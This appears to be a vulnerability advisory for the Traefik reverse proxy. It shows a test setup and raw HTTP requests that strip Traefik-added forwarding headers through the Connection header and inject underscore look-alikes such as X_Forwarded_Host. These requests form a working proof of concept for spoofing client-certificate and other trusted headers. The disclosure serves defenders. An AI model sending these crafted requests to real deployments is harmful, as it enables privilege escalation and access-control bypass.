HTTP client can manipulate custom HTTP headers that are added by Traefik

The following traefik.yaml has been used:

providers:
  docker:
    exposedByDefault: false
    watch: true
  file:
    fileName: /etc/traefik/traefik.yaml
    watch: true

entryPoints:
  websecure:
    address: ":443"

tls:
  certificates:
    - certFile: /certs/server-cert.pem
      keyFile: /certs/server-key.pem

The Python container just includes a simple Python HTTP server that prints the HTTP headers it receives. Here is the Dockerfile for the container:

FROM python:3-alpine

# Copy the Python script to the container
COPY server.py /server.py

# Set the working directory
WORKDIR /

# Command to run the Python server
CMD ["python", "/server.py"]

And here is the Python script:

from http.server import BaseHTTPRequestHandler, HTTPServer

class RequestHandler(BaseHTTPRequestHandler):
    def _send_response(self):
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.end_headers()
        self.wfile.write(str(self.headers).encode("utf-8"))

    def do_GET(self):
        self._send_response()

if __name__ == "__main__":
    server = HTTPServer(('0.0.0.0', 8080), RequestHandler)
    print("Server started on port 8080")
    server.serve_forever()

The environment is run with sudo docker-compose up.

A normal HTTP request/response pair looks like this:

Request 1

GET / HTTP/1.1
Host: python.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
Connection: close

Response 1

HTTP/1.1 200 OK
Content-Type: text/plain
Date: Tue, 03 Sep 2024 06:53:49 GMT
Server: BaseHTTP/0.6 Python/3.12.5
Connection: close
Content-Length: 556

Host: python.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
X-Forwarded-For: 172.20.0.1
X-Forwarded-Host: python.example.com
X-Forwarded-Port: 443
X-Forwarded-Proto: https
X-Forwarded-Server: 3138fe4f0a2e
X-Real-Ip: 172.20.0.1

The custom headers added by Traefik can be seen in the response.

Next, a request, where the X-Forwarded-Host header is defined as a hop-by-hop header via the Connection header is sent:

Request 2

GET / HTTP/1.1
Host: python.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
Connection: close, X-Forwarded-Host

Response 2

Host: python.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
X-Forwarded-For: 172.20.0.1
X-Forwarded-Port: 443
X-Forwarded-Proto: https
X-Forwarded-Server: 3138fe4f0a2e
X-Real-Ip: 172.20.0.1

As can be seen from the response, the X-Forwarded-Host header that had been added by Traefik has been removed from the request.

Moreover, the next request/response pair demonstrates that a custom header with underscore instead of hyphen can be added:

Request 3

GET / HTTP/1.1
Host: python.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
X_Forwarded_Host: myhost
Connection: close, X-Forwarded-Host

Response 3

HTTP/1.1 200 OK
Content-Type: text/plain
Date: Tue, 03 Sep 2024 06:54:48 GMT
Server: BaseHTTP/0.6 Python/3.12.5
Connection: close
Content-Length: 544

Host: python.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
X-Forwarded-For: 172.20.0.1
X-Forwarded-Port: 443
X-Forwarded-Proto: https
X-Forwarded-Server: 3138fe4f0a2e
X-Real-Ip: 172.20.0.1
X_forwarded_host: myhost

Some backend frameworks (e.g. Django) handle X-Forwarded-Host and X_forwarded_host in the same way. As there is no X-Forwarded-Host header present in the request, the X_forwarded_host header will be used.

It should be noted that when X-Forwarded-Host is present and a X_forwarded_host header is sent, usually the first occurence of the header will be used, which is in this case X-Forwarded-Host.

It should be noted that the headers X-Forwarded-Tls-Client-Cert and X-Forwarded-Tls-Client-Cert-Info are also affected. Here, client certificate authentication would need to be enabled in the Traefik setup.

Impact

All applications that trust the custom headers set by Traefik are affected by this vulnerability. As an example, assume that a backend application trusts Traefik to validate client certificates and trusts therefore the values that are sent within the X-Forwarded-Tls-Client-Cert header, but does not validate the certificate anew.

If the header is removed via the vulnerability, and the application framework allows for alternative names (e.g. by transforming the headers to lower case, and "-" to "_"), an attacker can place his own X_Forwarded_TLS_Client_Cert header in the request. This could lead to privilege escalation, as the attacker may put an (invalid) certificate in this header that would just be accepted by the application, but may contain other data than the certificate that is presented to Traefik for Client Certificate Authentication.

Moreover, if the backend application uses any of the other custom headers for security-sensitive operations, the removal or modification of these headers may also security implications (e.g. access control bypass).

The severity is the same as for CVE-2022-31813 for Apache HTTP Server, i.e. 9.8 Critical.